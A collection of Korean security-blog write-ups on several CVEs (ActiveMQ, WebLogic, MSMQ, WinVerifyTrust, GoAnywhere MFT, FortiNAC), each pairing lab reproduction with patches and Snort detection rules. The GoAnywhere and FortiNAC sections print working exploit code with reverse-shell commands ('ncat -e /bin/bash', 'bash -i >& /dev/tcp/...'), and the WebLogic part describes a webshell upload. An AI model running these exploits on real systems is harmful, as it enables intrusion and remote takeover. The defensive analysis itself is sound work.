1. Apache ActiveMQ [1][2]

- 자바로 만든 오픈소스 메세지 브로커로, 다양한 언어를 이용하는 시스템간의 통신을 할 수 있게 함

- 가장 대중적이고 강력한 오픈 소스 메세징 그리고 통합 패턴 서버

- 클라이언트 간 메시지를 송수신 할 수 있는 오픈 소스 Broker(JMS 서버)

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-46604 [3]

 

- ActiveMQ에서 내부적으로 사용하는 OpenWire 프로토콜에서 불충분한 클래스 역직렬화 검증으로 인해 발생 (CVSS: 10.0)

> ActiveMQ 서버가 외부에 노출된 경우 공격에 악용될 수 있음 

조건 ① OpenWire 포트 61616에 엑세스 가능

조건 ② 데이터 유형이 31인 OpenWire 패킷 전송

> 암호화폐 채굴 악성코드 또는 랜섬웨어 유포 등 악용 사례가 발견되는 중

- 영향받는 버전
① Apache ActiveMQ
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.15.16 이전 버전

② Apache ActiveMQ Legacy OpenWire Module
> 5.18.0 ~ 5.18.3 이전 버전
> 5.17.0 ~ 5.17.6 이전 버전
> 5.16.0 ~ 5.16.7 이전 버전
> 5.8.0 ~ 5.15.16 이전 버전

 

[사진 2] SHODAN 검색 결과 (product:"ActiveMQ OpenWire Transport" / product:"ActiveMQ OpenWire Transport" port:61616)

 

[사진 3] 취약점 악용 공격 IP [4]

 

2.1 취약점 상세 [5][6][7]

- 입력에서 데이터 스트림을 수신하면 OpenWireFormat.doUnmarshal 메서드를 통해 언마셜을 수행

> 언마셜이란 XML을 Java Object로 변환하는 것을 의미 (반대의 과정을 마셜이라 함)

> 언마셜 과정은 BaseDataStreamMarshaller에 의존

 

- ActiveMQ에는 각각의 데이터 유형에 맞게 설계된 다양한 종류의 DataStreamMarshaller이 존재

> 시스템은 데이터와 함께 제공되는 DATA_STRUCTURE_TYPE을 확인해 사용할 Marshaller를 결정 [8]

 

- 데이터 타입이 31(EXCEPTION_RESPONSE)일 경우 ExceptionResponseMarshaller을 이용해 언마셜 수행

> 해당 취약점은 ExceptionResponse 데이터에서 생성된 클래스의 유효성을 검사하지 못하여 발생

 

2.2 취약점 실습

- ActiveMQ 실행

> default ID/PW: admin/admin

wget hxxps://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
tar -zxvf apache-activemq-5.18.2-bin.tar.gz
cd apache-activemq-5.18.2/bin/
./activemq start

 

[사진 4] ApachMQ 실행 및 버전 확인

 

- PoC 다운 및 수정 [9]

> PoC 수행 전 tmp 디렉터리에 success 파일은 존재하지 않는 상태

git clone hxxps://github.com/X1r0z/ActiveMQ-RCE
cd ActiveMQ-RCE
vi poc.xml

 

[사진 5] PoC 수정
[사진 6] ls /tmp/success

 

- PoC 수행

> PoC 수행 결과 404 Error를 반환하며 다른 PoC를 수행해 보았으나 동일 결과 반환

> PoC가 정상 수행될 경우 /tmp/success 파일이 생성

python3 -m http.server
go run main.go -i 127.0.0.1 -u http://localhost:8000/poc.xml

 

[사진 7] PoC 결과 404 반환
[사진 8] PoC 패킷 캡쳐

 

3. 대응방안

① 벤더사 제공 최신 업데이트 적용 [10]

- validateIsThrowable 메서드를 추가

> 제공된 클래스가 Throwable 클래스 확장 유무 확인

> Throwable을 확장하지 않으면 해당 클래스가 Throwable에 할당할 수 없음을 나타내는 "IlalgalArgumentException" 오류 메시지 생성

제품명 영향받는 버전 해결 버전
Apache ActiveMQ 5.18.0 ~ 5.18.3 이전 버전 5.18.3
5.17.0 ~ 5.17.6 이전 버전 5.17.6
5.16.0 ~ 5.16.7 이전 버전 5.16.7
5.15.16 이전 버전 5.15.16
Apache ActiveMQ
Legacy OpenWire Module
5.18.0 ~ 5.18.3 이전 버전 5.18.3
5.17.0 ~ 5.17.6 이전 버전 5.17.6
5.16.0 ~ 5.16.7 이전 버전 5.16.7
5.8.0 ~ 5.15.16 이전 버전 5.15.16

 

[사진 9] validateIsThrowable

 

② OpenWire 프로토콜 비활성화

③ 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)

 

4. 참고

[1] https://activemq.apache.org/
[2] https://velog.io/@rlaghwns1995/Apache-ActiveMQ%EC%9D%98-%EA%B8%B0%EB%B3%B8
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-46604
[4] https://viz.greynoise.io/tag/apache-activemq-rce-attempt?days=30
[5] https://www.vicarius.io/vsociety/posts/apache-activemq-rce-cve-2023-46604
[6] https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis
[7] https://www.uptycs.com/blog/apache-activemq-cve-2023-46604?hs_amp=true
[8] https://github.com/apache/activemq-openwire/blob/main/openwire-core/src/main/java/org/apache/activemq/openwire/commands/CommandTypes.java#L78
[9] https://github.com/X1r0z/ActiveMQ-RCE
[10] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71236
[11] https://www.boannews.com/media/view.asp?idx=123384&page=1&kind=1
[12] https://www.boannews.com/media/view.asp?idx=123822&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=124844&direct=mobile

1. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-3506

- 공격자가 조작된 XML 페이로드를 전송하여 원격 코드 실행을 실행하는 취약점

- XMLDecoder를 이용한 역직렬화 과정에서 취약점이 발생

① 영향받는 버전
- WebLogic Server 10.3.6.0.0
- WebLogic Server 12.1.3.0.0
- WebLogic Server 12.2.1.1.0
- WebLogic Server 12.2.1.2.0

② 관련 URL

- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

2. 실습

Attacker 환경
- Kali Linux

Victim 환경
- CentOS 7 x64
- WebLogic Server 10.3.6.0.0

- Java: JDK1.7.0_80

 

- WebLogic Server 10.3.6.0.0 설치 및 구동 [2][3]

> JDK8로 설치를 진행하였는데, 도메인 생성 과정 중 도메인 생성 실패 오류 발생

> 구글링 결과 JDK8과 WebLogic 10.3.6.0은 호환이 되지 않아 발생하는 문제로, JDK7을 이용함

**** Domain Creation Failed! java.lang.SecurityException: The provider self-integrity check failed. ****

 

- registry.xml 파일에서 Weblogic 버전을 확인할 수 있음

> 버전 확인 방법

① java weblogic.version 명령 이용

② config.xml 파일 상단 <domain-version> 태그 확인 / 명령어: cd ${DOMAIN_HOME}/config 

③ registry.xml 파일에서 version 확인 / 명령어: cd ${MW_HOME};cat registry.xml

④ WebLogic Admin Console 좌측 하단 확인 또는 [로그인] > [환경] > [서버] > [서버이름] > [모니터링] > [일반] 확인

[사진 2] 버전 확인

 

- 구동 후 외부에서 정상 접근 확인

[사진 3] 서버 구동(위) 및 정상 접근 확인(아래)

 

- 공개된 PoC를 통해 스캔 결과 취약점에 영향 받음_[+]표시_을 확인 [4]

[사진 4] 취약점 스캔 결과(위) 및 관련 패킷(아래)

 

- /wls-wsat/CoordinatorPortType11 URL에 shell.jsp 업로드 성공

> 비밀번호(password 매개변수_값 secfree)와 임의의 명령(command 매개변수)을 사용자로부터 입력받아 실행한 결과를 반환하는 웹쉘로 확인됨

[사진 5] shell.jsp 업로드 성공(위) 및 관련 패킷(아래)

 

- 공격자는 조건을 만족한 URL을 통해 임의의 명령을 실행 및 결과를 확인할 수 있음

> 조건 1: 비밀번호(password)는 secfree 

> 조건 2: 임의의 명령(command) 전달

[사진 6] 명령 실행 결과 반환

 

[사진 7] 관련 패킷 캡쳐

3. 8220 Gang [5]

- 2017년부터 활동한 해킹그룹으로 암호화폐 채굴을 목적으로 활동

> C2와 통신을 위해 8220 포트를 사용하여 파생된 이름

> Tsunami 멀웨어, XMRIG 크립토마이너, Masscan, Spirit 등을 공격에 이용

 

- 최근 CVE-2017-3506 또는 lwp-download를 사용하는 사례가 확인

> lwp-download: URL에서 파일을 다운로드하는 리눅스 유틸리티

 

- 8220 Gang 해킹그룹이 CVE-2017-3506를 이용하는 과정 및 파일은 다음과 같음

① wls-wsat/CoordinatorPortType URL을 이용해 취약한 서버에 진입

② PowerShell 스크립트로 드로퍼 다운로드

③ 드로퍼를 이용해 최종적으로 암호화폐 채굴기 다운로드 및 설치

> 공격에 사용된 스크립트와 바이너리 파일은 Base64 인코딩과 난독화가 적용

> 피해자가 인지하지 못하도록 숨겨진 창으로 명령 실행

> AMSI 감지 비활성화 수행

※ AMSI(Antimalware Scan Interface): 응용 프로그램 및 서비스와 시스템에 있는 모든 맬웨어 방지 제품이 통합할 수 있도록 하는 다목적 인터페이스 표준

 

> 공격에 사용된 파일

파일명 설명
bypass.ps1 - CVE-2017-3506을 이용해 다운로드
- Base64로 인코딩 된 PowerShell 스크립트
> AMSI 비활성화 및 Winscp-setup-1867.exe 생성
Winscp-setup-1867.exe - %TEMP%Winscp-setup-1867.exe 경로로 생성
- Ebvjmba.dat 다운로드
Ebvjmba.dat - dll 파일 다운
dll 파일 - MS 빌드 프로세스에 주입되는 암호화된 리소스 파일
- 9090, 9091, 9092/TCP를 사용해 C2 서버와 통신 및 암호화폐 채굴기 다운

 

4. 대응방안

① 벤더사 제공 패치 및 업데이트 적용 [6]

 

② wls-wsat 미사용 시 삭제

> rm -rf /app/wls1036/wlserver_10.3/server/lib/wls-wsat.war
> rm -rf /app/wls1036/domains/domain/servers/portal/tmp/_WL_internal/wls-wsat
> rm -rf /app/wls1036/domains/domain/servers/portal/tmp/.internal/wls-wsat.war
> rm -rf /app/wls1036/domains/domain/servers/admin/tmp/_WL_internal/wls-wsat
> rm -rf /app/wls1036/domains/domain/servers/admin/tmp/.internal/wls-wsat.war

 

③ wls-wsat 컴포넌트 비활성화 옵션 추가
> $DOMAIN_HOME/bin/setDomainEnv.sh 파일 수정 [7]

 

④ WAF에서 wls-wsat 하위 URL(/wls-wsat/*) 차단

> /wls-wsat/CoordinatorPortType
> /wls-wsat/CoordinatorPortType11
> /wls-wsat/ParticipantPortType
> /wls-wsat/ParticipantPortType11
> /wls-wsat/RegistrationPortTypeRPC
> /wls-wsat/RegistrationPortTypeRPC11
> /wls-wsat/RegistrationRequesterPortType
> /wls-wsat/RegistrationRequesterPortType11

 

⑤ 침해지표 모니터링 [5]

 

참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[2] http://1004lucifer.blogspot.com/2018/08/weblogic-linux-103-1211.html
[3] http://1004lucifer.blogspot.com/2018/08/weblogiclinux-103-1211.html
[4] https://github.com/Al1ex/CVE-2017-3506
[5] https://www.trendmicro.com/en_us/research/23/e/8220-gang-evolution-new-strategies-adapted.html
[6] https://www.oracle.com/security-alerts/cpuapr2017.html
[7] http://1004lucifer.blogspot.com/2018/12/weblogic-cve-2017-10271.html

1. Message Queuing [1]

- 프로세스 또는 프로그램 간에 데이터를 교환할 때 사용하는 통신 방법 중에 하나로, 메시지를 임시로 저장하는 일종의 버퍼로 볼 수 있음

메시지 지향 미들웨어(Message Oriented Middleware:MOM)를 구현한 시스템으로 프로그램(프로세스) 간의 데이터를 교환할 때 사용하는 기술

메시지 지향 미들웨어
- 메시지를 전달하는 과정에서 보관하거나 라우팅 및 변환할 수 있다는 장점을 가짐
① 보관: 메시지의 백업을 유지함으로써 지속성을 제공하여 송수신 측은 동시에 네트워크 연결을 유지할 필요 없음
② 라우팅 : 미들웨어 계층 자신이 직접 메시지 라우팅이 가능하기 때문에, 하나의 메시지를 여러 수신자에게 배포가 가능(멀티캐스트)
③ 변환 : 송수신 측의 요구에 따라 메시지를 변환할 수 있음

 

- 대용량 데이터를 처리하기 위한 배치 작업이나, 채팅 서비스, 비동기 데이터를 처리할 때 활용

 

1.1 장점

- 비동기(Asynchronous) : 데이터를 수신자에게 바로 보내지 않고 큐에 넣고 관리하기 때문에 나중에 처리 가능

- 비동조(Decoupling) : 애플리케이션과 분리할 수 있기 때문에 확장이 용이해짐

- 탄력성(Resilience) : 일부가 실패하더라도 전체에 영향을 주지 않음

- 과잉(Redundancy) : 실패할 경우 재실행 가능

- 보증(Guarantees) : 작업이 처리된 걸 확인할 수 있음

- 확장성(Scalable) : N:1:M 구조로 다수의 프로세스들이 큐에 메시지를 보낼 수 있음

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-21554 [2]

- Microsoft Message Queuing(이하 MSMQ)에서 발생하는 원격 코드 실행 취약점으로 CVSS 9.8 할당받음

- 해당 취약점은 QueueJumper라고도 불림

- MSMQ는 TCP, UDP 모두 1801 포트 사용

영향받는 버전
- Window 10
- Window 11
- Window Server 2008 ~ 2022

 

2.1 설명

- 공격자가 악성 MSMQ 패킷을 MSMQ 서버 1801 Port로 전송하면 서버측에서 인증 없이 원격 코드가 실행

> 구체적인 PoC 등은 확인되지 않는 것으로 판단됨.

 

- 보안업체 Check Point Research에서 해당 취약점과 관련된 조사를 수행 [3]

> 네트워크에 36만개 이상의 호스트가 1801/TCP를 개방하고 MSMQ 서비스를 제공

[사진 2] SHODAN "port:1801" 검색 결과

 

> MSMQ는 기본적으로 비활성화되어 있으나, 일부 MS 관련 프로그램 설치 시 앱이 백그라운드에서 MSMQ를 활성화

※ ex) Microsoft Exchange Server 설치 중 'Automatically install Windows Server roles and features that are required to install Exchange' 옵션을 체크하여 설치할 경우

 

- 보안업체 GreyNoise에서는 해당 취약점과 관련된 2개의 크롤러를 공개하였고, 수치를 그래프로 보여줌 [4]

> 크롤러 1: MSMQ가 활성화된 장치 검색

> 크롤러 2: MSMQ 패킷에 대한 응답이 존재하는 장치 검색

> MS가 정기 보안 업데이트를 권고한 23.04.11 이후 그래프가 급증하는 것을 확인할 수 있음

[사진 3] 크롤러 2 결과 그래프

3. 대응

① MS에서 제공하는 최신 보안패치 적용 [5]

 

② 1801/TCP 포트가 외부에 오픈되지 않도록 차단

 

③ 보안패치 적용이 어려울 경우 MSMQ 비활성화

- 제어판 > 프로그램 및 기능 > Windows 기능 켜기/끄기 > MSMQ 선택 여부 확인

- 윈도우 설치 시 기본으로 비활성화 적용됨

[사진 4] Windows 기능 켜기/끄기

 

④ 모니터링

> 1801/TCP에 대한 접근 로그 검토 등

 

4. 참고

[1] https://sorjfkrh5078.tistory.com/291
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-21554
[3] https://research.checkpoint.com/2023/queuejumper-critical-unauthorized-rce-vulnerability-in-msmq-service/
[4] https://twitter.com/GreyNoiseIO/status/1646216316368433152
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21554
[6] https://www.boannews.com/media/view.asp?idx=117060&page=5&kind=1
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71070&menuNo=205020 

1. WinVerifyTrust [2][3]

- Window에서 지정된 개체에 대한 신뢰 확인 작업을 수행하는 함수

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2013-3900

- 취약한 버전의 Window WinVerifyTrust 함수의 서명 유효성 검사 취약점으로인해 발생하는 임의 코드 실행 취약점

- 공격자는 해당 취약점을 악용해 기존 서명을 유지하고, 서명된 파일을 수정하여  파일에 악성 코드 추가 가능

영향받는 버전
① Microsoft Windows XP SP2 및 SP3
② Windows Server 2003 SP2
③ Windows Vista SP2
④ Windows Server 2008 SP2 및 R2 SP1
⑤ Windows 7 SP1
⑥ Windows 8
⑦ Windows 8.1
⑧ Windows Server 2012 Gold 및 R2
⑨ Windows RT Gold 및 8.1

 

3. 대응방안

① 벤더사 제공 업데이트 적용 [5]

- MS는 Windows Authenticode로 서명된 바이너리들의 인증 방식 자체를 변경
> 서명된 바이너리를 누군가 변경하면 해당 바이너리를 더 이상 서명된 바이너리로 윈도우가 인식하지 않도록 한 것
> ‘옵트인’ 방식으로 이루어졌으며, 사용자들이 패치를 적용할 것인지 말 것인지를 선택하도록 함

※ 옵트인: 당사자가 개인 데이터 수집을 허용하기 전까지 당사자의 데이터 수집을 금지하는 제도

 

- 그러나, 2014.07.29 Microsoft는 더 이상 지원되는 Microsoft Windows 릴리스의 기본 기능으로 더 엄격한 확인 동작을 시행할 계획이 없다고 발표

> 사실상 패치가 되지 않은 채(사용자 스스로 패치를 진행하지 않는 이상) 사용 중

 

- 레지스트리 편집을 통해 취약점 수정이 가능 [6][7]

> 해당 취약점에 관한 실질적인 조치 방안이 아닌것으로 확인됨

> 레지스트리를 수정하여도 Window 업데이트 시 해당 레지스트리가 삭제되기 때문

 

- 23.04 Microsoft는 해당 취약점을 포함한 총 97개의 보안 패치를 발표 [8][9]

> 또한 제로데이 취약점과, 초고위험도 취약점 및 랜섬웨어 유포에 악용된 취약점이 포함되어 있어 패치 적용 필수

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2013-3900
[2] https://learn.microsoft.com/en-us/windows/win32/api/wintrust/nf-wintrust-winverifytrust
[3] https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537361(v=vs.85)?redirectedfrom=MSDN
[4] https://github.com/advisories/GHSA-8cj2-jg77-qj2p
[5] https://learn.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-098
[6] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2013-3900

[7] https://learn.microsoft.com/en-us/answers/questions/1182542/cve-2013-3900-winverifytrust-signature-validation

[8] https://msrc.microsoft.com/update-guide/releaseNote/2023-Apr

[9] https://www.boannews.com/media/view.asp?idx=117060&page=2&kind=1 

1. GoAnywhere MFT

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점 [1]

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2023-0669

- GoAnywhere MFT는 공격자가 조작한 역직렬화 데이터에대한 검증을 수행하지않아 발생하는 원격 명령 실행 취약점

- 공격자들은 해당 취약점을 악용하여 클롭(Clop) 랜섬웨어를 유포하는 중

영향받는 버전
- GoAnywhere MFT < 7.1.2

 

[사진 2] Shodan GoAnywhere 검색 화면

 

2.1 분석 [3][4]

- 취약점은 POST 요청을 처리하는 LicenseResponseServlet에서 발생

- bundle 파라미터를 getParameter()로 str1에 저장 후 LicenseAPI.getResponse()의 매개변수로 전달

- bundle 파라미터를 LicenseAPI.getResponse()의 매개변수로 전달하는 과정에 적절한 검증이 수행되지 않음

[사진 3] LicenseResponseServlet

 

- LicenseAPI.getResponse()는 BundleWorker.unbundle() 호출

[사진 4] LicenseAPI.getResponse()

 

- BundleWorker.unbundle()는 decode()를 호출 및 복호화 후 verify()에서 서명을 검증

[사진 5] BundleWorker.unbundle()

 

- 공격자는 다음의 과정을 거치는 것으로 판단됨

① 조작된 bundle 역직렬화 데이터를 서버에서 제공하는 암복호화 정보에 맞춰 암호화 한 후 서버에 전송

② 역직렬화 데이터를 직렬화하는 과정에서 공격자가 삽입한 원격 명령이 수행

 

2.2 PoC [5]

① 원격 명령이 포함한 암호화된 bundle 매개변수 생성

/goanywhere/lic/accept URL에 조작된 역직렬화 bundle 매개변수를 전달

package org.gaw;

import org.gaw.linoma.Cryptor;

import cn.hutool.http.HttpResponse;
import org.gaw.utils.Http;
import org.apache.commons.cli.*;
import org.apache.commons.lang.StringUtils;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;

public class Exploit {
    static final String banner = "   _______    ________    ___   ____ ___  _____       ____  " +
            "_____ _____ ____ \n" +
            "  / ____/ |  / / ____/   |__ \\ / __ \\__ \\|__  /      / __ \\/ ___// ___// __ \\\n" +
            " / /    | | / / __/________/ // / / /_/ / /_ <______/ / / / __ \\/ __ \\/ /_/ /\n" +
            "/ /___  | |/ / /__/_____/ __// /_/ / __/___/ /_____/ /_/ / /_/ / /_/ /\\__, / \n" +
            "\\____/  |___/_____/    /____/\\____/____/____/      \\____/\\____/\\____//____/  \n" +
            "                                                                             ";
    // https://patorjk.com/software/taag/#p=display&f=Slant&t=CVE-2023-0669

    public static void printUsage(Options options) {
        HelpFormatter formatter = new HelpFormatter();
        System.out.println("GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object.\n");
        formatter.printHelp("Options", options);

        System.out.println("\nExample: ");
        System.out.println("java -jar CVE-2023-0669.jar -p http://127.0.0.1:8080 " +
                "-t https://192.168.1.1 -c 'ncat -e /bin/bash 192.168.1.2 4444'");
        System.out.println("java -jar CVE-2023-0669.jar -e ./payload.ser\n");
    }

    public static void main(String[] args) {
        System.out.println("\n"+banner);

        Options options = new Options();
        options.addOption("h", "help", false,"Print help information");
        options.addOption("t", "target", true, "Target URL");
        options.addOption("path", true, "Target Endpoint, default: /goanywhere/lic/accept");
        options.addOption("p", "proxy", true, "Proxy Address, eg: http://127.0.0.1:8080");
        options.addOption("c", "command", true, "Expected commands to be executed");
        options.addOption("e", "encrypt", true,"Encrypt the specified deserialized content");
        options.addOption("v", "version", true,"Version Encryption, 1/2, default: 1");
        options.addOption("timeout", true,"Http Requests Timeout, default: 20");

        CommandLineParser parser = new BasicParser();

        try {
            CommandLine cli = parser.parse(options, args);

            String version = cli.getOptionValue("v");
            version = (version == null)?"1":"2";

            if (cli.hasOption("h")) {
                printUsage(options);
            } else if (cli.hasOption("e")) {
                String filename = cli.getOptionValue("e");
                Path path = Paths.get(filename);
                byte[] data = Files.readAllBytes(path);
                System.out.println("[*] Files expected to be encrypted: " + filename);
                System.out.println("[*] Version Encryption: " + version);
                String bundle = Cryptor.main(data, version);
                System.out.println("[+] Successful encryption: " + bundle);
            } else if (cli.hasOption("t") && cli.hasOption("c")) {
                String target = cli.getOptionValue("t");
                System.out.println("[*] Target: " + target);

                String path = cli.getOptionValue("path");
                path = (path == null)?"/goanywhere/lic/accept":path;
                System.out.println("[*] Path: " + path);

                String proxy = cli.getOptionValue("p");
                System.out.println("[*] Proxy: " + proxy);

                String command = cli.getOptionValue("c");
                System.out.println("[*] Command: " + command);

                System.out.println("[*] Version Encryption: " + version);

                byte[] deserData = GenerateEvilPayload.main(command, "CommonsBeanutils1");
                String bundle = Cryptor.main(deserData, version);
                System.out.println("[+] Successful encryption: " + StringUtils.left(bundle, 50) +
                        "...");

                String timeout = cli.getOptionValue("timeout");
                timeout = (timeout == null)?"20":timeout;
                System.out.println("[*] Timeout: " + timeout + "s");
                int to = Integer.parseInt(timeout) * 1000;

                Exploit(target, path, bundle, proxy, to);
            } else {
                printUsage(options);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void Exploit(String target, String path, String body, String proxyURL,
                               int timeout) throws MalformedURLException {
        URL url = new URL(target);
        String rootURL = url.getProtocol() + "://" + url.getAuthority();

        String bundleBody = "bundle=" + body;

        Map<String, String> headers = new HashMap<>();
        headers.put("Content-Type", "application/x-www-form-urlencoded");

        System.out.println("[*] Exploiting...");

        HttpResponse r = Http.post(rootURL+path, bundleBody, headers ,proxyURL, timeout);

        if (r.getStatus() == 500 && r.body().contains("Requested URL: /goanywhere/lic/accept")) {
            System.out.println("[+] The exploit has been completed, please check.");
        } else{
            System.out.println("[-] Exploit Failed");
        }
    }
}

 

[사진 6] Exploit 패킷

3. 대응방안

3.1 서버측면

GoAnywhere MFT 7.1.2 업데이트 적용

- SessionUtilities.isLicenseRequestTokenValid()를 추가하여 라이센스 검증을 수행

> 라이센싱 요청을 수행할 때 생성되고 세션에 저장된 임의 UUID를 확인함

[사진 7] 패치 버전

② 추가 대응

- 벤더사에서는 2가지 완화 방안을 제공

> 시스템에서 만든 계정 등 의심스러운 계정이 있는지 확인

> GoAnywhere MFT가 설치된 파일 시스템에서 [install_dir]/adminroot/WEB-INF/web.xml 파일 편집

[사진 8] WEB-INF/web.xml 파일 편집 내용

3.2 네트워크 측면

- 보안 장비에 탐지 패턴 적용

alert tcp any any -> any any (msg:"Fortra GoAnywhere MFT RCE (CVE-2023-0669)"; content:"/goanywhere/lic/accept";flow:to_server,established;fast_pattern:only;http_uri; content:"bundle"; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-0669

[2] https://www.tenable.com/cve/CVE-2023-0669

[3] https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis?utm_source=rapid7site&utm_medium=referral&utm_campaign=etr_anywheremft

[4] https://www.pingsafe.com/blog/fortra-goanywhere-mft-rce-vulnerability

[5] https://github.com/0xf4n9x/CVE-2023-0669

[6] https://www.boannews.com/media/view.asp?idx=114180

 

 

1. FortiNAC

- Fortinet의 네트워크 접근 솔루션 중 하나

- 네트워크에 연결하는 모든 항목에 대한 가시성, 제어, 자동 대응을 제공함으로써 보안 패브릭을 강화하는 포티넷의 네트워크 액세스 제어 솔루션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-39952 [1]

- 인증되지 않은 공격자가 시스템에 임의 파일을 작성하고 root 권한으로 원격 코드를 실행할 수 있는 취약점

- Fortinet 보안팀에서 제일 먼저 발견

영향받는 버전
- FortiNAC 버전 9.4.0
- FortiNAC 버전 9.2.0 ~ 9.2.5
- FortiNAC 버전 9.1.0 ~ 9.1.7
- FortiNAC 8.8 모든 버전
- FortiNAC 8.7 모든 버전
- FortiNAC 8.6 모든 버전
- FortiNAC 8.5 모든 버전
- FortiNAC 8.3 모든 버전

 

2.1 분석 [6]

- 취약점은 keyUpload.jsp에서 발생

- 해당 파일의 내용을 확인하면 key 매개 변수에 파일을 제공하는 요청을 분석하는데 검증을 수행하지 않는 것으로 판단됨.

[사진 2]&nbsp;/bsc/campusMgr/ui/ROOT/configWizard/keyUpload.jsp

 

- 요청에서 key 매개변수가 확인되면, /bsc/campusMgr/config.applianceKey에 추가

- Runtime.exec("~") (= rtKey.exec("~"))로 /bsc/campusMgr/bin/configApplianceXml에 있는 bash 스크립트를 실행

 

[사진 3]&nbsp;/bsc/campusMgr/bin/configApplianceXml

- bash 스크립트는 root 디렉터리로 이동(cd /) 후 작성된 파일의(공격자 파일) 압축을 해제(unzip -o)

- 결론적으로, bash 스크립트에 의해 작업 디렉터리는 / 이므로 공격자는 임의의 파일을 쓸 수 있게 됨

 

2.2 PoC [5]

- PoC를 확인해보면 총 2가지로 이루어져 있음

① 공격을 위한 파일 생성

② 업로드한 공격 파일 업로드

 

- 공격자는 payload파일의 내용을 /etc/cron.d/payload에 cron 작업으로 작성

> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()

def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)

 

- payload 파일 내용

> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성

* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1

[사진 4] 공격 파일 생성&공격(위) 및 리버스 쉘 생성(아래)

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 최신 업데이트 적용 [7]

- 취약점 패치 버전

> FortiNAC 버전 9.4.1 이상
> FortiNAC 버전 9.2.6 이상
> FortiNAC 버전 9.1.8 이상
> FortiNAC 버전 7.2.0 이상

 

- 패치 버전을 확인해보면 keyUpload.jsp를 삭제한 것으로 판단됨

[사진 5] 취약 버전(좌) 및 패치 버전(우) 비교

② /bsc/logs/output.master 로그 확인

- 공격자가 해당 로그를 삭제하지 않는 한 로그를 통해 확인 가능

tail -f /bsc/logs/output.master

 

③ cron 확인

- cron을 사용하는 경우 페이로드 파일에 적절한 사용 권한과 소유자가 있는지 확인 후 조치

 

3.2 네트워크 측면

① 탐지 정책 적용 및 모니터링

alert tcp any any -> any any (msg:"FortiNAC HTTP Request RCE (CVE-2022-39952)"; content:"/configWizard/keyUpload.jsp";flow:to_server,established;fast_pattern:only;http_uri; content:"name=|22|key|22|"; nocase;http_client_body; content:"filename="; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2022-39952
[2] https://www.boannews.com/media/view.asp?idx=114481&page=1&kind=1
[3] https://www.bleepingcomputer.com/news/security/exploit-released-for-critical-fortinet-rce-flaws-patch-now/
[4] https://socradar.io/fortinet-patched-critical-rce-vulnerabilities-in-fortinac-and-fortiweb-cve-2022-39952-and-cve-2021-42756/
[5] https://github.com/horizon3ai/CVE-2022-39952
[6] https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/
[7] https://www.fortiguard.com/psirt/FG-IR-22-300
[8] https://www.fortiguard.com/psirt?date=02-2023
[9] https://www.ddosi.org/cve-2022-39952/

1. ESXi

- 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저

※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수 있도록 해주는 소프트웨어

 

1.1 OpenSLP (Open Service Location Protocol)

